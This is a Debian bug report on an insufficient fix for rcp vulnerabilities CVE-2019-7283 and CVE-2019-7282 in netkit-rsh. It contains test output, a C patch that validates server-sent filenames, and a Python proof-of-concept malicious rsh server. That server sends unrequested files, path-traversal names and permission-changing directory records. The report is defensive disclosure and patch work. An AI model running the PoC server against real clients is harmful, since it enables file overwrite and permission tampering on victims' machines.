Package: netkit-rsh
Version: 0.17-22

The recommended patch for CVE-2019-7282 and CVE-2019-7283 supplied in the
bug report #920486 (https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=920486)
was insufficient.

The patch provided is only for CVE-2019-7282, which is associated with
CVE-2018-20685 and that's exactly the solution of the patch for that CVE (
https://security-tracker.debian.org/tracker/CVE-2018-20685).

The patch originally supplied for CVE-2019-6111 (the CVE associated with
CVE-2019-7283) was also insufficient and was fixed afterward in the Openssh
package (https://ubuntu.com/security/notices/USN-3885-2)

The issue affects all versions of the package netkit-rsh. A PoC is attached
to check for CVE-2019-7283 which reports that the latest release version is
also affected. It's meant to be executed with root privileges as it creates
a temporary server listening on port 514. To run the tests, execute
test-CVE-2019-7283.sh (CVE-2019-7823-poc.py is needed in the same directory
for the bash script to run)








*david@sec-jammy-amd64:~/poc$ apt list rsh-clientListing...
Donersh-client/jammy,now 0.17-22 amd64
[installed]david@sec-jammy-amd64:~/poc$
lsCVE-2019-7823-poc.py  test-CVE-2019-7283.shdavid@sec-jammy-amd64:~/poc$
rcp david@sec-jammy-amd64:testfile.txt .david@sec-jammy-amd64:~/poc$
lsCVE-2019-7823-poc.py  malicious.txt  **test-CVE-2019-7283.sh**
testfile.txt*
*david@sec-jammy-amd64:~/poc$ sudo ./**test-CVE-2019-7283.sh*




*FAILED test_several_files_CVE_2019_7283OK
test_lower_directory_CVE_2019_7283OK
test_upper_directory_CVE_2019_7283FAILED
test_hidden_file_CVE_2019_7283FAILED test_other_file_CVE_2019_7283*

A new patch is proposed. The patch was extracted and adapted from the
revision performed over the CVE-2019-6111 patch (
https://launchpad.net/ubuntu/+source/openssh/1:7.6p1-4ubuntu0.3). The patch
was generated for version 0.17-21 but it can easily be applied to other
versions as well.

The patch checks if the files requested by the user match the ones sent by
the server. The revision includes the cases where shell parameter expansion
is used.
Description: [PATCH] CVE-2019-7283
 This patch is a fix for CVE-2019-7283. The proposed patch in #920486
 was insufficient. The code is extracted and adjusted from the patch
 applied in the OpenSSH package for CVE-2019-6111. The filenames sent 
 by the server are checked against the ones requested by the user. 
 This fix includes shell parameter expansion cases.
Author: David Fernandez Gonzalez <david.fernandezgonza...@canonical.com>
Last-Update: 2022-03-14

--- netkit-rsh-0.17.orig/rcp/rcp.c
+++ netkit-rsh-0.17/rcp/rcp.c
@@ -57,6 +57,7 @@ char rcsid[] = "$Id: rcp.c,v 1.15 2000/0
 #include <netinet/ip.h>
 #include <dirent.h>
 #include <fcntl.h>
+#include <fnmatch.h>
 #include <signal.h>
 #include <pwd.h>
 #include <netdb.h>
@@ -95,7 +96,7 @@ static int okname(const char *cp0);
 static int susystem(const char *s);
 static void source(int argc, char *argv[]);
 static void rsource(char *name, struct stat64 *statp);
-static void sink(int argc, char *argv[]);
+static void sink(int argc, char *argv[], const char *src);
 static BUF *allocbuf(BUF *bp, int fd, int blksize);
 static void nospace(void);
 static void usage(void);
@@ -174,7 +175,7 @@ main(int argc, char *argv[])
 			fprintf(stderr, "rcp: setuid: %s\n", strerror(errno));
 			exit(1);
 		}
-		sink(argc, argv);
+		sink(argc, argv, NULL);
 		exit(errs);
 	}
 
@@ -204,6 +205,256 @@ main(int argc, char *argv[])
 	exit(errs);
 }
 
+
+/* Appends a string to an array; returns 0 on success, -1 on alloc failure */
+static int
+append(char *cp, char ***ap, size_t *np)
+{
+	char **tmp;
+
+	if ((tmp = reallocarray(*ap, *np + 1, sizeof(*tmp))) == NULL)
+		return -1;
+	tmp[(*np)] = cp;
+	(*np)++;
+	*ap = tmp;
+	return 0;
+}
+
+/*
+ * Finds the start and end of the first brace pair in the pattern.
+ * returns 0 on success or -1 for invalid patterns.
+ */
+static int
+find_brace(const char *pattern, int *startp, int *endp)
+{
+	int i;
+	int in_bracket, brace_level;
+
+	*startp = *endp = -1;
+	in_bracket = brace_level = 0;
+	for (i = 0; i < INT_MAX && *endp < 0 && pattern[i] != '\0'; i++) {
+		switch (pattern[i]) {
+		case '\\':
+			/* skip next character */
+			if (pattern[i + 1] != '\0')
+				i++;
+			break;
+		case '[':
+			in_bracket = 1;
+			break;
+		case ']':
+			in_bracket = 0;
+			break;
+		case '{':
+			if (in_bracket)
+				break;
+			if (pattern[i + 1] == '}') {
+				/* Protect a single {}, for find(1), like csh */
+				i++; /* skip */
+				break;
+			}
+			if (*startp == -1)
+				*startp = i;
+			brace_level++;
+			break;
+		case '}':
+			if (in_bracket)
+				break;
+			if (*startp < 0) {
+				/* Unbalanced brace */
+				return -1;
+			}
+			if (--brace_level <= 0)
+				*endp = i;
+			break;
+		}
+	}
+	/* unbalanced brackets/braces */
+	if (*endp < 0 && (*startp >= 0 || in_bracket))
+		return -1;
+	return 0;
+}
+
+/*
+ * Assembles and records a successfully-expanded pattern, returns -1 on
+ * alloc failure.
+ */
+static int
+emit_expansion(const char *pattern, int brace_start, int brace_end,
+    int sel_start, int sel_end, char ***patternsp, size_t *npatternsp)
+{
+	char *cp;
+	int o = 0, tail_len = strlen(pattern + brace_end + 1);
+
+	if ((cp = malloc(brace_start + (sel_end - sel_start) +
+	    tail_len + 1)) == NULL)
+		return -1;
+
+	/* Pattern before initial brace */
+	if (brace_start > 0) {
+		memcpy(cp, pattern, brace_start);
+		o = brace_start;
+	}
+	/* Current braced selection */
+	if (sel_end - sel_start > 0) {
+		memcpy(cp + o, pattern + sel_start,
+		    sel_end - sel_start);
+		o += sel_end - sel_start;
+	}
+	/* Remainder of pattern after closing brace */
+	if (tail_len > 0) {
+		memcpy(cp + o, pattern + brace_end + 1, tail_len);
+		o += tail_len;
+	}
+	cp[o] = '\0';
+	if (append(cp, patternsp, npatternsp) != 0) {
+		free(cp);
+		return -1;
+	}
+	return 0;
+}
+
+/*
+ * Expand the first encountered brace in pattern, appending the expanded
+ * patterns it yielded to the *patternsp array.
+ *
+ * Returns 0 on success or -1 on allocation failure.
+ *
+ * Signals whether expansion was performed via *expanded and whether
+ * pattern was invalid via *invalid.
+ */
+static int
+brace_expand_one(const char *pattern, char ***patternsp, size_t *npatternsp,
+    int *expanded, int *invalid)
+{
+	int i;
+	int in_bracket, brace_start, brace_end, brace_level;
+	int sel_start, sel_end;
+
+	*invalid = *expanded = 0;
+
+	if (find_brace(pattern, &brace_start, &brace_end) != 0) {
+		*invalid = 1;
+		return 0;
+	} else if (brace_start == -1)
+		return 0;
+
+	in_bracket = brace_level = 0;
+	for (i = sel_start = brace_start + 1; i < brace_end; i++) {
+		switch (pattern[i]) {
+		case '{':
+			if (in_bracket)
+				break;
+			brace_level++;
+			break;
+		case '}':
+			if (in_bracket)
+				break;
+			brace_level--;
+			break;
+		case '[':
+			in_bracket = 1;
+			break;
+		case ']':
+			in_bracket = 0;
+			break;
+		case '\\':
+			if (i < brace_end - 1)
+				i++; /* skip */
+			break;
+		}
+		if (pattern[i] == ',' || i == brace_end - 1) {
+			if (in_bracket || brace_level > 0)
+				continue;
+			/* End of a selection, emit an expanded pattern */
+
+			/* Adjust end index for last selection */
+			sel_end = (i == brace_end - 1) ? brace_end : i;
+			if (emit_expansion(pattern, brace_start, brace_end,
+			    sel_start, sel_end, patternsp, npatternsp) != 0)
+				return -1;
+			/* move on to the next selection */
+			sel_start = i + 1;
+			continue;
+		}
+	}
+	if (in_bracket || brace_level > 0) {
+		*invalid = 1;
+		return 0;
+	}
+	/* success */
+	*expanded = 1;
+	return 0;
+}
+
+/* Expand braces from pattern. Returns 0 on success, -1 on failure */
+static int
+brace_expand(const char *pattern, char ***patternsp, size_t *npatternsp)
+{
+	char *cp, *cp2, **active = NULL, **done = NULL;
+	size_t i, nactive = 0, ndone = 0;
+	int ret = -1, invalid = 0, expanded = 0;
+
+	*patternsp = NULL;
+	*npatternsp = 0;
+
+	/* Start the worklist with the original pattern */
+	if ((cp = strdup(pattern)) == NULL)
+		return -1;
+	if (append(cp, &active, &nactive) != 0) {
+		free(cp);
+		return -1;
+	}
+	while (nactive > 0) {
+		cp = active[nactive - 1];
+		nactive--;
+		if (brace_expand_one(cp, &active, &nactive,
+		    &expanded, &invalid) == -1) {
+			free(cp);
+			goto fail;
+		}
+		if (invalid) {
+			error("%s: invalid brace pattern \"%s\"", __func__, cp);
+			exit(1);
+		}
+		if (expanded) {
+			/*
+			 * Current entry expanded to new entries on the
+			 * active list; discard the progenitor pattern.
+			 */
+			free(cp);
+			continue;
+		}
+		/*
+		 * Pattern did not expand; append the finename component to
+		 * the completed list
+		 */
+		if ((cp2 = strrchr(cp, '/')) != NULL)
+			*cp2++ = '\0';
+		else
+			cp2 = cp;
+		if (append(strdup(cp2), &done, &ndone) != 0) {
+			free(cp);
+			goto fail;
+		}
+		free(cp);
+	}
+	/* success */
+	*patternsp = done;
+	*npatternsp = ndone;
+	done = NULL;
+	ndone = 0;
+	ret = 0;
+ fail:
+	for (i = 0; i < nactive; i++)
+		free(active[i]);
+	free(active);
+	for (i = 0; i < ndone; i++)
+		free(done[i]);
+	free(done);
+	return ret;
+}
+
 static void
 toremote(const char *targ, int argc, char *argv[])
 {
@@ -355,7 +606,7 @@ tolocal(int argc, char *argv[])
 		    (char *)&tos, sizeof(int)) < 0)
 			perror("rcp: setsockopt TOS (ignored)");
 #endif
-		sink(1, argv + argc - 1);
+		sink(1, argv + argc - 1, src);
 		(void)seteuid(0);
 		(void)close(rem);
 		rem = -1;
@@ -629,7 +880,7 @@ lostconn(int ignore)
 }
 
 static void
-sink(int argc, char *argv[])
+sink(int argc, char *argv[], const char *src)
 {
 	register char *cp;
 	static BUF buffer;
@@ -647,6 +898,8 @@ sink(int argc, char *argv[])
 	char *np, *vect[1], buf[BUFSIZ];
 	char *namebuf = NULL;
 	unsigned cursize = 0, nbase = 0;
+	char **patterns = NULL;
+	size_t n, npatterns = 0;
 
 #define	atime	tv[0]
 #define	mtime	tv[1]
@@ -666,12 +919,22 @@ sink(int argc, char *argv[])
 	(void)write(rem, "", 1);
 	if (stat64(targ, &stb) == 0 && (stb.st_mode & S_IFMT) == S_IFDIR)
 		targisdir = 1;
+	if (src != NULL && !iamrecursive) {
+		/*
+		 * Prepare to try to restrict incoming filenames to match
+		 * the requested destination file glob.
+		 */
+		if (brace_expand(src, &patterns, &npatterns) != 0) {
+			error("%s: could not expand pattern", __func__);
+			exit(1);
+		}
+	}
 	for (first = 1;; first = 0) {
 		cp = buf;
 		if (read(rem, cp, 1) <= 0) {
 			if (namebuf)
 				free(namebuf);
-			return;
+			goto done;
 		}
 		if (*cp++ == '\n')
 			SCREWUP("unexpected <newline>");
@@ -752,6 +1015,14 @@ sink(int argc, char *argv[])
 			error("error: unexpected filename: %s", cp);
 			exit(1);
 		}
+		if (npatterns > 0) {
+			for (n = 0; n < npatterns; n++) {
+				if (fnmatch(patterns[n], cp, 0) == 0)
+					break;
+			}
+			if (n >= npatterns)
+				SCREWUP("filename does not match request");
+		}
 		if (targisdir) {
 			char *newbuf;
 			int need = strlen(targ) + strlen(cp) + 2;
@@ -791,7 +1062,7 @@ sink(int argc, char *argv[])
 			} else if (mkdir(np, mode) < 0)
 				goto bad;
 			vect[0] = np;
-			sink(1, vect);
+			sink(1, vect, src);
 			if (setimes) {
 				setimes = 0;
 				if (utimes(np, tv) < 0)
@@ -867,7 +1138,15 @@ bad:			error("rcp: %s: %s\n", np, strerr
 			break;
 		}
 	}
+done:
+	for (n = 0; n < npatterns; n++)
+		free(patterns[n]);
+	free(patterns);
+	return;
 screwup:
+	for (n = 0; n < npatterns; n++)
+		free(patterns[n]);
+	free(patterns);
 	error("rcp: protocol screwup: %s\n", why);
 	exit(1);
 }
#
#  David Fernandez Gonzalez: david.fernandezgonza...@canonical.com
#
import socket
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
well_known_port = 514
sock.bind(('0.0.0.0', well_known_port))
sock.listen(1)

def read_intro(socket):
    while True:
        data = socket.recv(1024)
        if b'rcp' in data:
            break

def send_file(socket, filename, filesize, data):
    socket.send(b'\x00')
    socket.send(b'C0664 %b %b\n' % (filesize.encode(), filename.encode()))
    socket.recv(1)
    socket.send(b'%b\n' % data.encode())
    socket.send(b'\x00')
    socket.recv(1)

def init_socket():
    socket, _ = sock.accept(  )
    return socket

def close_socket(socket):
    socket.shutdown(1)
    socket.close()

def case_other_file_CVE_2019_7283():
    newSocket = init_socket()
    read_intro(newSocket)

    send_file(newSocket, 'malicious.txt', '6', 'evil')

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_several_files_CVE_2019_7283():
    newSocket = init_socket()
    read_intro(newSocket)


    send_file(newSocket, 'testfile.txt', '6', 'test')
    send_file(newSocket, 'malicious.txt', '6', 'evil')

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_lower_directory_CVE_2019_7283():
    newSocket = init_socket()
    read_intro(newSocket)


    send_file(newSocket, '../testfile.txt', '6', 'test')

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_change_permissions_CVE_2019_7282():
    newSocket = init_socket()
    read_intro(newSocket)

    newSocket.send(b'\x00')
    newSocket.send(b'D0777 0 \n')
    newSocket.recv(1)
    newSocket.send(b'\n')
    newSocket.send(b'\x00')
    newSocket.recv(1)

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_change_permissions_current_folder_CVE_2019_7282():
    newSocket = init_socket()
    read_intro(newSocket)

    newSocket.send(b'\x00')
    newSocket.send(b'D0777 0 .\n')
    newSocket.recv(1)
    newSocket.send(b'\n')
    newSocket.send(b'\x00')
    newSocket.recv(1)

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_change_permissions_lower_folder_CVE_2019_7282():
    newSocket = init_socket()
    read_intro(newSocket)

    newSocket.send(b'\x00')
    newSocket.send(b'D0777 0 ..\n')
    newSocket.recv(1)
    newSocket.send(b'\n')
    newSocket.send(b'\x00')
    newSocket.recv(1)

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_upper_directory_CVE_2019_7283():
    newSocket = init_socket()
    read_intro(newSocket)

    send_file(newSocket, 'test/testfile.txt', '6', 'test')

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_hidden_file_CVE_2019_7283():
    newSocket = init_socket()
    read_intro(newSocket)

    send_file(newSocket, '.test', '6', 'test')

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

if (len(sys.argv) == 1):
    print('Select test number')
    sys.exit(1)

if (int(sys.argv[1]) == 0):
    case_several_files_CVE_2019_7283()
elif (int(sys.argv[1]) == 1):
    case_lower_directory_CVE_2019_7283()
elif (int(sys.argv[1]) == 2):
    case_upper_directory_CVE_2019_7283()
elif (int(sys.argv[1]) == 3):
    case_hidden_file_CVE_2019_7283()
elif (int(sys.argv[1]) == 4):
    case_other_file_CVE_2019_7283()
elif (int(sys.argv[1]) == 5):
    case_change_permissions_CVE_2019_7282()
elif (int(sys.argv[1]) == 6):
    case_change_permissions_current_folder_CVE_2019_7282()
elif (int(sys.argv[1]) == 7):
    case_change_permissions_lower_folder_CVE_2019_7282()

sock.close()

Attachment: test-CVE-2019-7283.sh
Description: application/shellscript

Reply via email to